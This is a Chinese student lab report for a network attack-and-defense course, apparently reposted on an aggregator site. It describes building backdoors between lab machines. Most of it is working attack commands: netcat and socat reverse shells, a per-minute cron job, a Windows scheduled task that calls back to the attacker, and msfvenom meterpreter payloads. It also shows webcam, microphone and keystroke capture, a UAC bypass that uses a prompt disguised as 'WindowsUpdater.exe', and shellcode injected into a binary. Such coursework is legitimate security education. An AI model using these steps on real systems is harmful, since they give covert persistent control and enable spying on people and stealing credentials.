20222420 2024-2025-1 《网络与系统攻防技术》实验二实验报告

news/2024/10/21 20:31:11

20222420 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1 本周学习内容

1.1.1 后门介绍
  • 后门概念:不经过正常认证流程而访问系统的通道
  • 后门类型:编译器、操作系统、应用程序中的后门,潜伏于OS或伪装成APP的后门程序
1.1.2 后门案例
  • 编译器后门:Xcode
  • 操作系统后门:shellshock
  • 固件后门:BIOS中隐藏Telnet后门、打印机后门
  • 硬件后门:Meltdown漏洞(CPU漏洞)
  • 应用程序后门:旧版本的华硕软件、SolarWinds旗下的Orion网络监控软件、Log4shell漏洞
1.1.3 后门技术
  • 管控功能实现技术
  • 自启动技术
  • 进程隐藏技术

1.2 实验任务

  • 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2.问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    非正规渠道下载Photoshop。
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    windows下设置任务计划,linux下设置cron。
  • Meterpreter有哪些给你映像深刻的功能?
    能获取目标主机的shell,能启用目标主机的摄像头并传回拍摄的照片,能启用目标主机的录音器并传回录制的音频,能获取目标主机的击键记录,能在一定情况下提升在目标主机中的权限。
  • 如何发现自己有系统有没有被安装后门?
    查看进程,抓包分析,专业杀毒软件扫描,查看任务计划表。

3.实验过程

3.1 设置linux的cron,windows使用netcat获取linux的Shell

  • 在不设置linux的cron的情况下,windows使用netcat获取linux的Shell
    使用反弹连接:攻击者windows设置监听端口,被害主机linux发起请求并将标准输入输出重定向到该端口
    • 攻击者windows设置监听端口
      ncat -l -p 2420 # ncat代表netcat;-l代表监听;-p代表端口,其后为端口号
    • 被害主机linux发起请求
      nc 192.168.1.114 2420 -e /bin/sh # nc代表netcat,其后为攻击者的IP和监听端口;-e代表指定一个程序来执行,该程序的标准输入、输出和错误输出将被重定向到网络连接上,其后为指定的程序
    • 结果:通过以上配置,在不设置linux的cron的情况下,windows使用netcat成功获取linux的Shell。
  • 在设置linux的cron的情况下,windows使用netcat获取linux的Shell
    • 攻击者windows设置监听端口
      ncat -l -p 2420 # ncat代表netcat;-l代表监听;-p代表端口,其后为端口号
    • 被害主机linux设置cron,定时发起请求
      • crontab -e # (创建并)打开crontab文件,其用于定义定时任务
      • 选择vim.basic编辑器
      • 在文件的最下面添加一行crontab条目
        敲击i以进入编辑模式,敲击ESC退出编辑模式,在查看模式下输入:wq以保存并退出。
        * * * * * nc 192.168.150.1 2420 -e /bin/sh # 第一个代表每分钟,第二个代表每小时,第三个代表每日,第四个代表每月,第五个代表不分星期几;每个均可以替换为具体的时间。其后跟着被害主机linux发起请求的命令。
    • 结果:通过以上配置,在设置linux的cron的情况下,windows使用netcat成功获取linux的Shell。
      虽然linux上并未有反应但windows已经获取了linux的Shell

3.2 设置windows的任务计划,linux使用socat获取windows的Shell

  • 在不设置windows的任务计划的情况下,linux使用socat获取windows的Shell
    使用反弹连接:攻击者linux设置监听端口,被害主机windows发起请求并将标准输入输出重定向到该端口
    • 攻击者linux设置监听端口
      socat TCP-LISTEN:2420 # TCP-LISTEN:代表监听TCP连接,其后为端口号
    • 被害主机windows发起请求
      \Users\86199\Desktop\socat\socat\socat.exe exec:cmd.exe,pty,stderr TCP:192.168.150.172:2420 # 将cmd.exe的输入输出重定向到192.168.150.1的2420端口
    • 结果:通过以上配置,在不设置windows的任务计划的情况下,linux使用socat成功获取windows的Shell。
  • 在设置windows的任务计划的情况下,linux使用socat获取windows的Shell
    • 攻击者linux设置监听端口
      socat TCP-LISTEN:2420 - # TCP-LISTEN:代表监听TCP连接,其后为端口号
    • 被害主机windows设置任务计划,定时发起请求
      • 打开“计算机管理”->“系统工具”->“任务计划程序”,点击“创建任务”
      • 在“触发器”下设置触发时间,在“操作”下设置软件和参数,最后点击确定
        参数为exec:powershell.exe,pipes TCP:192.168.150.172:2420

    • 结果:通过以上配置,在不设置windows的任务计划的情况下,linux使用socat成功获取windows的Shell。

3.3 使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到windows并运行,获取windows的Shell

  • 攻击者linux下使用命令msfvenom生成一个.exe格式的后门程序
    被害主机windows执行该程序时发起请求,连接到LHOST指定的IP和LPORT指定的端口
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe # -p代表有效载荷类型,以确定用途;LHOST、LPORT代表监听者即攻击者的IP地址、端口;-f代表输出格式;>将msfvenom命令的输出重定向到一个名为20222420_backdoor.exe的文件
  • 使用netcat将后门程序发送到Windows
    windows监听(使用cmd)并将数据保存:ncat -l -p 2420 > \Users\86199\Desktop\20222420_backdoor.exe
    linux请求并将数据发送:nc 192.168.1.101 2420 < 20222420_backdoor.exe
  • 攻击者linux使用MSF监听
    msfconsole
    use exploit/multi/handler # 进入监听模块
    set payload windows/x64/meterpreter/reverse_tcp # 设置攻击载荷为64位Windows的反弹TCP连接
    set LHOST 192.168.150.172 # 设置攻击者的IP地址,请与后门程序的LHOST参数保持一致
    set LPORT 2420 # 设置端口号 # 设置攻击者的PORT,请与后门程序的LPORT参数保持一致
    exploit
  • 被害主机windows运行后门程序,被获取shell

3.4 利用后门,使用MSF meterpreter获取windows的录音、摄像功能和击键记录,并尝试提权

  • 获取被害主机windows的录音功能
    record_mic -d 5 # -d 5代表录制5秒
  • 获取被害主机windows的摄像功能
    webcam_snap
  • 获取被害主机windows的击键记录
    keyscan_start # 开始记录键盘敲击记录
    keyscan_dump # 显示捕捉到的键盘记录信息
    keyscan_stop # 停止记录键盘敲击记录
  • 提升在被害主机windows中的权限
    提权命令为getsystem,但因Windows的UAC(用户账户控制)阻止程序执行有关系统更改的任务而无法成功。在shell下输入whoami可知当前为普通用户
    • 方法一,被害主机windows主动以管理员身份运行后门程序

    • 方法二,使用exploit/windows/local/ask模块,向windows询问权限
      background # 将连接会话放到后台
      use exploit/windows/local/ask # 使用请求模块
      set session 1 # 表示接下来的操作将针对编号为1的会话(即background的会话)进行
      set FILENAME WindowsUpdater.exe # 将显示的请求者设置为WindowsUpdater.exe
      run # 运行,将在windows中弹出请求


      被害者点击“是”后,攻击者便可以提升权限了
    • 方法三,通过FodHelper注册表项,使用exploit/windows/local/bypassuac_fodhelper模块
      use exploit/windows/local/bypassuac_fodhelper
      run

      结果验证如下:第一次在shell中输入whoami显示为普通用户,但再次getsystem显示已经获取权限。于是再次在shell中输入whoami,这次成功显示为system权限

3.5 使用MSF meterpreter生成shellcode,注入到实验1的pwn1,获取反弹连接Shell

因为pwn1是elf格式的可执行文件只能在Linux上执行,所以决定用linux攻击linux。

  • 在攻击者下使用MSF meterpreter生成shellcode,注入到实验1的pwn1
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -x pwn1 -f elf > pwn2-20222420

  • 攻击者使用MSF监听,被害者运行被注入后的文件,获取被害主机的shell
    msfconsole
    use exploit/multi/handler # 进入监听模块
    set payload linux/x86/meterpreter/reverse_tcp # 设置攻击载荷为32位Windows的反弹TCP连接
    set LHOST 192.168.150.172 # 设置攻击者的IP地址,请与后门程序的LHOST参数保持一致
    set LPORT 2420 # 设置端口号 # 设置攻击者的PORT,请与后门程序的LPORT参数保持一致
    exploit
    再开一个终端或一个kali虚拟机,运行被注入后的文件,结果如下,攻击成功

4.问题及解决方案

  • 问题1:第二部分windows主动连接到攻击者linux后弹窗并显示警告。
  • 问题1解决方案:经过尝试,发现并不影响linux获取windows的shell。
  • 问题2:将后门传输到windows后发现无法运行。
  • 问题2解决方案:经过查询发现是因为windows通过powershell接收后相对原文件有变化,改用cmd终端接收后就正常了。
  • 问题3:第四部分尝试提权时发现无法通过exploit/windows/local/bypassuac_injection模块进行内存注入。
  • 问题3解决方案:通过报错信息知晓这一模块对于windows10以上的系统不适用,于是改用注册表项绕过Windows UAC保护。

5.学习感悟、思考等

从使用netcat和socat获取主机操作Shell,到利用cron和任务计划启动自定义任务,再到使用MSF meterpreter生成后门并执行各种功能,这一系列操作不仅让我对网络安全攻击手段有了更直观的认识,也提升了我的实战技能。在实验过程中,我遇到了不少挑战,但通过网上大量的资料,我成功解决了遇到的问题并学习到了更加丰富的知识。
通过这次实验,我深刻认识到了网络安全的重要性和复杂性。网络攻击者可以利用各种手段和技术来攻击我们的系统,窃取我们的信息,控制我们的摄像头、录音器等,甚至还能提升自己的权限。同时,我也深刻体会到了学习和实践的重要性。在面对网络安全时,仅仅依靠书本上的理论知识是远远不够的,必须通过实践来加深对知识的理解,通过实战来锻炼自己的技能。

参考资料

  • Bypass-UAC(用户帐户控制)的那些事
  • 0x21_MAL_后门原理与实践
  • ...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/74337.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

tms fnc ui

tms fnc uitms fnc ui 这组界面控件,支持DELPHI的VCL和FMX,还支持FPC的LCL。 1)TTMSFNCNavigationPanel2)TTMSFNCTileList3)本文来自博客园,作者:{咏南中间件},转载请注明原文链接:https://www.cnblogs.com/hnxxcxg/p/18490245

第6课 测试用例设计

1.黑盒测试方法2.白盒测试方法术语一: • 动态测试(dynamic testing):通过运行软件的组 件或 系统来测试软件 • 静态测试(static testing):对组件的规格说明书 进行 评审,对静态代码进行走查 • 正式评审(formal review):对评审过程及需求文 档的 一种特定评审 • …

转载 兔兔电脑机器码修改工具1.0

使用说明: 1.关闭**毒软件(1.易语言编写可能会误报 2.需要修改系统信息可能会被拦截); 2.管理员运行; 3.根据需要修改机器码(部分系统需要运行兼容性初始化) 4.修改主板会屏蔽网卡,所以要先修改网卡然后再修改主板; 5.重启电脑即可恢复,网卡修改不会恢复,需要手动改…

机器学习基本介绍

1、人工智能概述 人工智能发展必备三要素:数据 算法 计算力 CPU,GPU,TPU计算力之CPU、GPU对比:CPU主要适合I\O密集型的任务GPU主要适合计算密集型任务 1.1、工智能、机器学习和深度学习的关系人工智能和机器学习,深度学习的关系:机器学习是人工智能的一个实现途径深度学习…

考场环境 NoiLinux 测试

觉得还是有必要提前练一下 用的是官网的 NoiLinux.iso 全程断网下载 虽然不知道实机预安装系统时是不是断网的 NoiLinux,但是保险一点还是选了断网省选的时候,Windows 里只有画图和 Dev-C++分辨率非常构式,需要手动调分辨率,咱们电脑是 1920*1080(没找到适配这个电脑的分辨…

面试题速刷 - 知识广度2

有哪些前端攻击?如何预防? XSS 跨站脚本攻击预防:尖括号替换,Vue中用插值{}不会发生XSS攻击。 CSRF 跨站请求伪造预防:服务端严格控制跨域,验证机制二次确认 SameSite禁止第三方cookie 点击劫持演示一下:预防: 1.判断两个iframe域名是否一致 2.让当前网页只在自己ifram…